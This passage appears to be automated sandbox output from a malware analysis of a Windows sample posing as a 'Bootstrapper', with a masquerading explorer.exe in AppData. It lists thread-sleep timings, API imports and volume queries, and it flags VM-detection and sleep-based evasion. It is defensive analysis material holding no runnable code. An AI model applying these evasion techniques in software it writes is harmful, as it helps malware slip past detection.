Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599436s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599327s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599218s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599108s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -599000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598662s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598417s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598311s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -598094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597981s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597863s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597544s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597312s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -597093s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596984s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596873s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596765s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596654s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596546s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596437s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596321s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596218s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -596109s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595999s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595668s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595562s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595453s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -595326s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -594906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 7204 Thread sleep time: -594796s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 1532 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 6508 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252 Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599891s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599772s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599653s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599532s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -599063s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598938s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598813s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598688s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598563s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598452s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598344s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -598000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597891s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597438s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597313s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597190s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -597065s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596939s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596507s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596391s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596282s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -596032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595907s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595797s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595688s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595563s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595438s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595313s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -595078s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594844s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594368s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -594259s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -593766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -593633s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -593492s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe TID: 7672 Thread sleep time: -564023s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636 Thread sleep count: 7620 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636 Thread sleep count: 1966 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676 Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1576 Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456 Thread sleep count: 6209 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484 Thread sleep count: 3465 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Roaming\explorer.exe TID: 5564 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\explorer.exe TID: 5912 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\explorer.exe TID: 6648 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\explorer.exe TID: 7532 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3252 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\explorer.exe TID: 5728 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 2448 Thread sleep count: 256 > 30
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 2448 Thread sleep time: -22118400000s >= -30000s
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 2448 Thread sleep time: -86400000s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373BB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373BB190
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373A40BC
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373CFCA0 FindFirstFileExA, 0_2_00007FF6373CFCA0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DCECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 33_2_00007FF789DCECE0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DB647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 33_2_00007FF789DB647C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE3130 FindFirstFileExA, 33_2_00007FF789DE3130
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C16A4 VirtualQuery,GetSystemInfo, 0_2_00007FF6373C16A4
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599327 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599218 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599108 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598662 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598417 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598311 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 598094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597981 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597863 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 597093 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596873 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596765 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596654 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596546 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596437 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596321 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596218 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595999 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595668 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 595326 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 594906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 594796 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599772
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599653
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599532
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599172
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598813
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598688
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598563
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598452
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598344
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598230
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 598000
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597891
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597547
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597313
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597190
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 597065
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596939
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596507
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596391
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596282
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596157
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 596032
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595907
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595797
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595688
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595563
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595438
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595313
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595188
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594969
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594844
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594735
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594485
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594368
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 594259
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593766
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593633
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 593492
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Thread delayed: delay time: 564023
